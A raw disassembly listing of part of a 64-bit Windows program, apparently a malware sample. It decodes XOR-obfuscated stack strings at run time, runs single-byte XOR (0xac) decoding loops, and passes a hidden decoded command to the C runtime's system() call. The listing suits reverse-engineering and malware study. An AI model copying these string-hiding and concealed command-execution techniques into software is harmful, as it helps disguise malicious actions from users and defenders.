lea rcx, [rbp + 0x36a0]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], r12
movdqa xmm0, xmmword [rbp + 0x1f0]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x36c0], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x36d0], xmm0
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x36c0]
call fcn.7ff7cbf3f4b0
lea r8, [rbp + 0x36a0]
lea rdx, [rbp + 0x36c0]
lea rcx, [rbp + 0x88b8]
call fcn.7ff7cbf58f9c
mov qword [rbp + 0x36e0], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x36f0], xmm0
lea rdx, [rbp + 0x8898]
lea rcx, [rbp + 0x36e0]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x9ab0], r13
mov qword [rbp + 0x9ab8], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], r12
movdqa xmm0, xmmword [rbp + 0x200]
pxor xmm0, xmmword [rbp + 0x9ab0]
movdqa xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x3700], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x3710], xmm0
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x3700]
call fcn.7ff7cbf3f4b0
lea r8, [rbp + 0x36e0]
lea rdx, [rbp + 0x3700]
lea rcx, [rbp + 0x88b8]
call fcn.7ff7cbf58f9c
mov qword [rbp + 0x3720], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3730], xmm0
lea rdx, [0x7ff7cbf93280]
lea rcx, [rbp + 0x3720]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x99e0], r13
mov qword [rbp + 0x99e8], r12
movabs rax, 0x4292502bb104dd6
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], r12
movdqa xmm0, xmmword [rbp + 0x210]
pxor xmm0, xmmword [rbp + 0x99e0]
movdqa xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x3740], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x3750], xmm0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x3740]
call fcn.7ff7cbf3f4b0
lea r8, [rbp + 0x3720]
lea rdx, [rbp + 0x3740]
lea rcx, [rbp + 0x88b8]
call fcn.7ff7cbf58f9c
mov qword [rbp + 0x3760], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3770], xmm0
lea rdx, [rbp + 0x3250]
lea rcx, [rbp + 0x3760]
call fcn.7ff7cbf3ba50
movabs rcx, 0x664b7854b6534bc1
movabs rdx, 0xd4d760965bd9acc4
movabs rax, 0xccec465fcd4509f9
movabs r8, 0x6500ee55da9d2e92
movabs r9, 0xe58a098beb704fad
mov qword [rbp + 0x9a20], r13
mov qword [rbp + 0x9a28], r12
mov qword [rbp + 0x9a30], rsi
mov qword [rbp + 0x9a38], r14
mov qword [rbp + 0x9a40], rax
mov qword [rbp + 0x9a48], rdi
mov qword [rbp + 0x15b0], rcx
mov qword [rbp + 0x15b8], rdx
mov qword [rbp + 0x15c0], r8
mov qword [rbp + 0x15c8], r9
mov qword [rbp + 0x15d0], rax
mov qword [rbp + 0x15d8], rdi
movdqa xmm0, xmmword [rbp + 0x15b0]
pxor xmm0, xmmword [rbp + 0x9a20]
movdqa xmmword [rbp + 0x15b0], xmm0
movdqa xmm1, xmmword [rbp + 0x15c0]
pxor xmm1, xmmword [rbp + 0x9a30]
movdqa xmmword [rbp + 0x15c0], xmm1
movdqa xmm0, xmmword [rbp + 0x15d0]
pxor xmm0, xmmword [rbp + 0x9a40]
movdqa xmmword [rbp + 0x15d0], xmm0
mov qword [rbp + 0x3780], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x3790], xmm0
lea rdx, [rbp + 0x15b0]
lea rcx, [rbp + 0x3780]
call fcn.7ff7cbf3f4b0
lea r8, [rbp + 0x3760]
lea rdx, [rbp + 0x3780]
lea rcx, [rbp + 0x88b8]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x47e0]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x88b8]
lea rdx, [rbp + 0x47e0]
lea rcx, [rbp + 0x9160]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x47e0]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0x9a60], r13
mov qword [rbp + 0x9a68], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x220], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x228], rax
movdqa xmm0, xmmword [rbp + 0x220]
pxor xmm0, xmmword [rbp + 0x9a60]
movdqa xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x37a0], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x37b0], xmm0
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x37a0]
call fcn.7ff7cbf3f4b0
mov qword [rbp + 0x37c0], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x37d0], xmm0
lea rdx, [rbp + 0x9160]
lea rcx, [rbp + 0x37c0]
call fcn.7ff7cbf3ba50
lea r8, [rbp + 0x37a0]
lea rdx, [rbp + 0x37c0]
lea rcx, [rbp + 0x8490]
call fcn.7ff7cbf58a40
mov qword [rbp + 0x9a90], r13
mov qword [rbp + 0x9a98], r12
movabs rax, 0x625a3a06b1015dd6
mov qword [rbp + 0x230], rax
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x238], rax
movdqa xmm0, xmmword [rbp + 0x230]
pxor xmm0, xmmword [rbp + 0x9a90]
movdqa xmmword [rbp + 0x230], xmm0
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x8490]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf66c56
lea rdx, [rbp + 0x8490]
mov rcx, rbx
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x8490]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9160]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x88b8]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8898]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8640]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x3250]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8c60]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x89c0]
call fcn.7ff7cbf376b0
nop
mov dl, byte [rbp + 0x8400]
lea rcx, [rbp + 0x8408]
call fcn.7ff7cbf4d034
nop
jmp 0x7ff7cbf65af2
mov qword [rbp + 0x33f0], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3400], xmm0
lea rdx, [0x7ff7cbf935c0]
lea rcx, [rbp + 0x33f0]
call fcn.7ff7cbf3ba50
lea rdx, [0x7ff7cbf94900]
lea rcx, [rbp + 0x7260]
call fcn.7ff7cbf359ec
mov qword [rbp + 0x99e0], rax
mov qword [rbp + 0x3230], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3240], xmm0
lea rdx, [0x7ff7cbf935a0]
lea rcx, [rbp + 0x3230]
call fcn.7ff7cbf3ba50
lea rcx, [rbp + 0x8be0]
call fcn.7ff7cbf4c748
cmp qword [rbp + 0x8bf0], r15
jne 0x7ff7cbf66deb
mov qword [rbp + 0x9a70], r13
mov qword [rbp + 0x9a78], r12
mov qword [rbp + 0x9a80], rsi
mov qword [rbp + 0x9a88], r14
movabs rax, 0x70762d06be0b49c3
mov qword [rbp + 0xcd0], rax
movabs rax, 0x8ec20d860addc6c9
mov qword [rbp + 0xcd8], rax
movabs rax, 0x5c378c31ecc0729c
mov qword [rbp + 0xce0], rax
mov qword [rbp + 0xce8], r14
movdqa xmm0, xmmword [rbp + 0xcd0]
pxor xmm0, xmmword [rbp + 0x9a70]
movdqa xmmword [rbp + 0xcd0], xmm0
movdqa xmm1, xmmword [rbp + 0xce0]
pxor xmm1, xmmword [rbp + 0x9a80]
movdqa xmmword [rbp + 0xce0], xmm1
lea rdx, [rbp + 0xcd0]
mov rcx, rbx
call fcn.7ff7cbf3f4b0
mov byte [rsp + 0x60], r15b
jmp 0x7ff7cbf682ad
mov qword [rbp + 0x99f0], r13
mov qword [rbp + 0x99f8], r12
movabs rax, 0x6a401617a0035cd6
mov qword [rbp + 0x240], rax
movabs rax, 0xe1b652f26fbaf6c0
mov qword [rbp + 0x248], rax
movdqa xmm0, xmmword [rbp + 0x240]
pxor xmm0, xmmword [rbp + 0x99f0]
movdqa xmmword [rbp + 0x240], xmm0
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x7280]
call fcn.7ff7cbf359ec
mov rbx, rax
mov qword [rbp + 0x3800], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3810], xmm0
lea rdx, [rbp + 0x8be0]
lea rcx, [rbp + 0x3800]
call fcn.7ff7cbf3ba50
mov r8, rbx
lea rdx, [rbp + 0x3800]
lea rcx, [rbp + 0x8e00]
call fcn.7ff7cbf4c4e4
mov qword [rbp + 0x85f8], r15
movdqa xmm0, xmmword [0x7ff7cbf85ec0]
movdqu xmmword [rbp + 0x8608], xmm0
lea rdx, [rbp + 0x8be0]
cmp qword [rbp + 0x8bf8], 0x10
cmovae rdx, qword [rbp + 0x8be0]
lea rcx, [rbp + 0x72a0]
call fcn.7ff7cbf359ec
mov rbx, rax
mov qword [rbp + 0x9ab0], r13
mov qword [rbp + 0x9ab8], r12
movabs rax, 0x429490db70947d1
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], r12
movdqa xmm0, xmmword [rbp + 0x250]
pxor xmm0, xmmword [rbp + 0x9ab0]
movdqa xmmword [rbp + 0x250], xmm0
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x72c0]
call fcn.7ff7cbf359ec
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x85f8]
call fcn.7ff7cbf58f9c
mov qword [rbp + 0x3820], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3830], xmm0
lea rdx, [rbp + 0x8e00]
lea rcx, [rbp + 0x3820]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x9a60], r13
mov qword [rbp + 0x9a68], r12
movabs rax, 0x45d3a06a7134dd7
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x268], r12
movdqa xmm0, xmmword [rbp + 0x260]
pxor xmm0, xmmword [rbp + 0x9a60]
movdqa xmmword [rbp + 0x260], xmm0
lea rdx, [rbp + 0x260]
lea rcx, [rbp + 0x72e0]
call fcn.7ff7cbf359ec
lea r8, [rbp + 0x3820]
mov rdx, rax
lea rcx, [rbp + 0x85f8]
call fcn.7ff7cbf58f9c
mov qword [rbp + 0x3840], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3850], xmm0
lea rdx, [rbp + 0x3230]
lea rcx, [rbp + 0x3840]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x9a90], r13
mov qword [rbp + 0x9a98], r12
movabs rax, 0x4294963b30349c4
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x278], r12
movdqa xmm0, xmmword [rbp + 0x270]
pxor xmm0, xmmword [rbp + 0x9a90]
movdqa xmmword [rbp + 0x270], xmm0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x7300]
call fcn.7ff7cbf359ec
lea r8, [rbp + 0x3840]
mov rdx, rax
lea rcx, [rbp + 0x85f8]
call fcn.7ff7cbf58f9c
mov qword [rbp + 0x3860], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3870], xmm0
mov rdx, qword [rbp + 0x99e0]
lea rcx, [rbp + 0x3860]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x9ac0], r13
mov qword [rbp + 0x9ac8], r12
movabs rax, 0x4294963b0004ac7
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x288], r12
movdqa xmm0, xmmword [rbp + 0x280]
pxor xmm0, xmmword [rbp + 0x9ac0]
movdqa xmmword [rbp + 0x280], xmm0
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x7320]
call fcn.7ff7cbf359ec
lea r8, [rbp + 0x3860]
mov rdx, rax
lea rcx, [rbp + 0x85f8]
call fcn.7ff7cbf58f9c
mov qword [rbp + 0x3880], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3890], xmm0
lea rdx, [rbp + 0x33f0]
lea rcx, [rbp + 0x3880]
call fcn.7ff7cbf3ba50
mov qword [rbp + 0x9aa0], r13
mov qword [rbp + 0x9aa8], r12
movabs rax, 0x4294963b1014bc6
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], r12
movdqa xmm0, xmmword [rbp + 0x290]
pxor xmm0, xmmword [rbp + 0x9aa0]
movdqa xmmword [rbp + 0x290], xmm0
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x7340]
call fcn.7ff7cbf359ec
lea r8, [rbp + 0x3880]
mov rdx, rax
lea rcx, [rbp + 0x85f8]
call fcn.7ff7cbf58f9c
lea rdx, [0x7ff7cbf94700]
lea rcx, [rbp + 0x4800]
call fcn.7ff7cbf35cc0
lea r8, [rbp + 0x85f8]
lea rdx, [rbp + 0x4800]
lea rcx, [rbp + 0x8580]
call fcn.7ff7cbf53dc8
lea rcx, [rbp + 0x4800]
call fcn.7ff7cbf3ecd0
mov qword [rbp + 0x9e30], r13
mov qword [rbp + 0x9e38], r12
movabs rax, 0x76763a16a6035cd6
mov qword [rbp + 0x2a0], rax
movabs rax, 0xe1b626810acfe8c3
mov qword [rbp + 0x2a8], rax
movdqa xmm0, xmmword [rbp + 0x2a0]
pxor xmm0, xmmword [rbp + 0x9e30]
movdqa xmmword [rbp + 0x2a0], xmm0
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x7360]
call fcn.7ff7cbf359ec
mov rbx, rax
mov qword [rbp + 0x38a0], r15
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x38b0], xmm0
lea rdx, [rbp + 0x8580]
lea rcx, [rbp + 0x38a0]
call fcn.7ff7cbf3ba50
mov r8, rbx
lea rdx, [rbp + 0x38a0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf58a40
mov qword [rbp + 0x9e20], r13
mov qword [rbp + 0x9e28], r12
movabs rax, 0x625a3a06b1015dd6
mov qword [rbp + 0x2b0], rax
movabs rax, 0xe1b652f216d6f5d3
mov qword [rbp + 0x2b8], rax
movdqa xmm0, xmmword [rbp + 0x2b0]
pxor xmm0, xmmword [rbp + 0x9e20]
movdqa xmmword [rbp + 0x2b0], xmm0
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf67478
mov qword [rbp + 0x9c30], r13
mov qword [rbp + 0x9c38], r12
movabs rax, 0x6a4728018d0e5bd7
mov qword [rbp + 0x2c0], rax
movabs rax, 0xe1b652f26fbafdc3
mov qword [rbp + 0x2c8], rax
movdqa xmm0, xmmword [rbp + 0x2c0]
pxor xmm0, xmmword [rbp + 0x9c30]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf2aaa8
test al, al
je 0x7ff7cbf6742d
movabs rcx, 0x70416917a0035cd6
movabs rdx, 0x91d97ddd55c9e9d2
movabs rbx, 0x81c0a99dbb62cd78
movabs r8, 0x7245e3429fcb6587
movabs r9, 0xacc34889f43b50b0
movabs r10, 0xa2892270bf207a8c
movabs r11, 0xa321bdcff88eac43
mov qword [rbp + 0x9ad0], r13
mov qword [rbp + 0x9ad8], r12
mov qword [rbp + 0x9ae0], rsi
mov qword [rbp + 0x9ae8], r14
movabs rax, 0xccec465fcd4509f9
mov qword [rbp + 0x9af0], rax
mov qword [rbp + 0x9af8], rdi
movabs rax, 0x81c0a99dbb62be0b
mov qword [rbp + 0x9b00], rax
movabs rax, 0x6c08c6d4812e996c
mov qword [rbp + 0x9b08], rax
mov qword [rbp + 0x1650], rcx
mov qword [rbp + 0x1658], rdx
mov qword [rbp + 0x1660], r8
mov qword [rbp + 0x1668], r9
mov qword [rbp + 0x1670], r10
mov qword [rbp + 0x1678], r11
mov qword [rbp + 0x1680], rbx
mov qword [rbp + 0x1688], rax
movdqa xmm0, xmmword [rbp + 0x1650]
pxor xmm0, xmmword [rbp + 0x9ad0]
movdqa xmmword [rbp + 0x1650], xmm0
movdqa xmm1, xmmword [rbp + 0x1660]
pxor xmm1, xmmword [rbp + 0x9ae0]
movdqa xmmword [rbp + 0x1660], xmm1
movdqa xmm0, xmmword [rbp + 0x1670]
pxor xmm0, xmmword [rbp + 0x9af0]
movdqa xmmword [rbp + 0x1670], xmm0
movdqa xmm1, xmmword [rbp + 0x1680]
pxor xmm1, xmmword [rbp + 0x9b00]
movdqa xmmword [rbp + 0x1680], xmm1
lea rcx, [rbp + 0x1650]
call qword [sym.imp.ucrtbase.dll_system]
lea rdx, [rbp + 0x9a70]
lea rbx, [0x7ff7cbf935e0]
mov rcx, rbx
call fcn.7ff7cbf380f4
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8580]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x85f8]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8e00]
call fcn.7ff7cbf376b0
jmp 0x7ff7cbf66de1
mov qword [rbp + 0x70b8], r15
mov byte [rsp + 0x20], r15b
mov r9d, 1
lea r8, [rbp + 0x7080]
lea rdx, [rbp + 0x8580]
lea rcx, [rbp + 0x84f0]
call fcn.7ff7cbf32f20
mov qword [rbp + 0x9c30], r13
mov qword [rbp + 0x9c38], r12
movabs rax, 0x764c250fb7114dd7
mov qword [rbp + 0x2d0], rax
movabs rax, 0xe1b652f26fdef0f9
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
pxor xmm0, xmmword [rbp + 0x9c30]
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x7380]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8580]
lea rcx, [rbp + 0x73a0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x4da0]
call fcn.7ff7cbf58a40
lea rcx, [0x7ff7cbf933e0]
cmp rcx, rax
je 0x7ff7cbf67540
xor edx, edx
mov r8b, dl
mov rdx, rax
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4da0]
call fcn.7ff7cbf376b0
mov qword [rbp + 0x9e10], r13
mov qword [rbp + 0x9e18], r12
movabs rax, 0x764c250fb7114dd7
mov qword [rbp + 0x2e0], rax
movabs rax, 0xe1b652f209dfebf9
mov qword [rbp + 0x2e8], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
pxor xmm0, xmmword [rbp + 0x9e10]
movdqa xmmword [rbp + 0x2e0], xmm0
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x73c0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8580]
lea rcx, [rbp + 0x73e0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x4dc0]
call fcn.7ff7cbf58a40
lea r9, [0x7ff7cbf93400]
cmp r9, rax
je 0x7ff7cbf675eb
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4dc0]
call fcn.7ff7cbf376b0
mov qword [rbp + 0x9e00], r13
mov qword [rbp + 0x9e08], r12
movabs rax, 0x764c250fb7114dd7
mov qword [rbp + 0x2f0], rax
movabs rax, 0xe1b6529702dbf7f9
mov qword [rbp + 0x2f8], rax
movdqa xmm0, xmmword [rbp + 0x2f0]
pxor xmm0, xmmword [rbp + 0x9e00]
movdqa xmmword [rbp + 0x2f0], xmm0
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x7400]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8580]
lea rcx, [rbp + 0x7420]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x4de0]
call fcn.7ff7cbf58a40
lea r9, [0x7ff7cbf93420]
cmp r9, rax
je 0x7ff7cbf67696
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4de0]
call fcn.7ff7cbf376b0
mov qword [rbp + 0x9dd0], r13
mov qword [rbp + 0x9dd8], r12
movabs rax, 0x764c250fb7114dd7
mov qword [rbp + 0x300], rax
movabs rax, 0xe1b652971fc3edf9
mov qword [rbp + 0x308], rax
movdqa xmm0, xmmword [rbp + 0x300]
pxor xmm0, xmmword [rbp + 0x9dd0]
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x7440]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8580]
lea rcx, [rbp + 0x7460]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x4e00]
call fcn.7ff7cbf58a40
lea rcx, [0x7ff7cbf93440]
cmp rcx, rax
je 0x7ff7cbf6773e
xor edx, edx
mov r8b, dl
mov rdx, rax
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4e00]
call fcn.7ff7cbf376b0
mov qword [rbp + 0x9ad0], r13
mov qword [rbp + 0x9ad8], r12
mov qword [rbp + 0x9ae0], rsi
mov qword [rbp + 0x9ae8], r14
movabs rax, 0x764c250fb7114dd7
mov qword [rbp + 0xa50], rax
movabs rax, 0x8cdf0d9d08d5f5f9
mov qword [rbp + 0xa58], rax
movabs rax, 0x5c378c31ecae1790
mov qword [rbp + 0xa60], rax
mov qword [rbp + 0xa68], r14
movdqa xmm0, xmmword [rbp + 0xa50]
pxor xmm0, xmmword [rbp + 0x9ad0]
movdqa xmmword [rbp + 0xa50], xmm0
movdqa xmm1, xmmword [rbp + 0xa60]
pxor xmm1, xmmword [rbp + 0x9ae0]
movdqa xmmword [rbp + 0xa60], xmm1
lea rdx, [rbp + 0xa50]
lea rcx, [rbp + 0x7480]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8580]
lea rcx, [rbp + 0x74a0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x4e20]
call fcn.7ff7cbf58a40
mov rdx, rax
lea rax, [0x7ff7cbf93460]
cmp rax, rdx
je 0x7ff7cbf67827
xor ecx, ecx
mov r8b, cl
mov rcx, rax
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4e20]
call fcn.7ff7cbf376b0
mov ecx, 0x10
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf83e10]
sub r8, rax
mov ebx, 1
lea r9d, [rbx + 0xe]
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rbx
sub r9, rbx
jne 0x7ff7cbf67853
mov byte [rax + 0xf], r15b
mov rdx, rax
lea rcx, [rbp + 0x84f0]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x4e60]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rdx, rax
lea rcx, [rbp + 0x4e40]
call fcn.7ff7cbf5b0c0
lea r9, [0x7ff7cbf93480]
cmp r9, rax
je 0x7ff7cbf678c2
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x4e40]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4e60]
call fcn.7ff7cbf376b0
mov qword [rbp + 0x70f8], r15
lea rdx, [0x7ff7cbf93480]
lea rcx, [rbp + 0x4e80]
call fcn.7ff7cbf5afc8
mov byte [rsp + 0x20], r15b
mov r9b, bl
lea r8, [rbp + 0x70c0]
mov rdx, rax
lea rcx, [rbp + 0x8480]
call fcn.7ff7cbf32f20
lea rcx, [rbp + 0x4e80]
call fcn.7ff7cbf376b0
mov ecx, 8
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf83e20]
sub r8, rax
mov r9d, 7
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rbx
sub r9, rbx
jne 0x7ff7cbf6793b
mov byte [rax + 7], r15b
mov rdx, rax
lea rcx, [rbp + 0x8480]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x53c0]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rdx, rax
lea rcx, [rbp + 0x53e0]
call fcn.7ff7cbf5afc8
lea rbx, [0x7ff7cbf934c0]
cmp rbx, rax
je 0x7ff7cbf679aa
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, rbx
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x53e0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x53c0]
call fcn.7ff7cbf376b0
mov ecx, 0xe
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf83e28]
sub r8, rax
mov r9d, 0xd
lea r14d, [r9 - 0xc]
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, r14
sub r9, r14
jne 0x7ff7cbf679e3
mov byte [rax + 0xd], r15b
mov rdx, rax
lea rcx, [rbp + 0x8480]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x52d0]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rdx, rax
lea rcx, [rbp + 0x5390]
call fcn.7ff7cbf5afc8
lea r9, [0x7ff7cbf93500]
cmp r9, rax
movabs r14, 0x83b338e8db4129c8
je 0x7ff7cbf67a5c
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x5390]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x52d0]
call fcn.7ff7cbf376b0
mov ecx, 0xb
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf83e38]
sub r8, rax
mov esi, 1
lea r9d, [rsi + 9]
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rsi
sub r9, rsi
jne 0x7ff7cbf67a94
mov byte [rax + 0xa], r15b
mov rdx, rax
lea rcx, [rbp + 0x8480]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x5290]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rdx, rax
lea rcx, [rbp + 0x52b0]
call fcn.7ff7cbf5afc8
lea r9, [0x7ff7cbf934e0]
cmp r9, rax
movabs rsi, 0x5c378c31ecae17f7
je 0x7ff7cbf67b0d
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x52b0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5290]
call fcn.7ff7cbf376b0
mov ecx, 5
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf83e44]
sub r8, rax
mov edi, 1
lea r9d, [rdi + 3]
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf67b45
mov byte [rax + 4], r15b
mov rdx, rax
lea rcx, [rbp + 0x8480]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x5250]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rdx, rax
lea rcx, [rbp + 0x5270]
call fcn.7ff7cbf5afc8
lea r9, [0x7ff7cbf93520]
cmp r9, rax
movabs rdi, 0xc642deaea7eac92a
je 0x7ff7cbf67bbe
xor ecx, ecx
mov r8b, cl
mov rdx, rax
mov rcx, r9
call fcn.7ff7cbf3dff0
lea rcx, [rbp + 0x5270]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5250]
call fcn.7ff7cbf376b0
lea rdx, [0x7ff7cbf83e4c]
lea rcx, [rbp + 0x8bc0]
call fcn.7ff7cbf359ec
lea rdx, [rbp + 0x8bc0]
mov rcx, rbx
call fcn.7ff7cbf2aa6c
test al, al
je 0x7ff7cbf67c16
cmp qword [0x7ff7cbf934d8], 0x10
cmovae rbx, qword [0x7ff7cbf934c0]
mov qword [0x7ff7cbf934d0], r15
mov byte [rbx], r15b
lea rdx, [rbp + 0x8bc0]
lea rcx, [0x7ff7cbf93500]
call fcn.7ff7cbf2aa6c
test al, al
je 0x7ff7cbf67c40
lea rdx, [0x7ff7cbf7ea74]
lea rcx, [0x7ff7cbf93500]
call fcn.7ff7cbf3f4b0
lea rdx, [rbp + 0x8bc0]
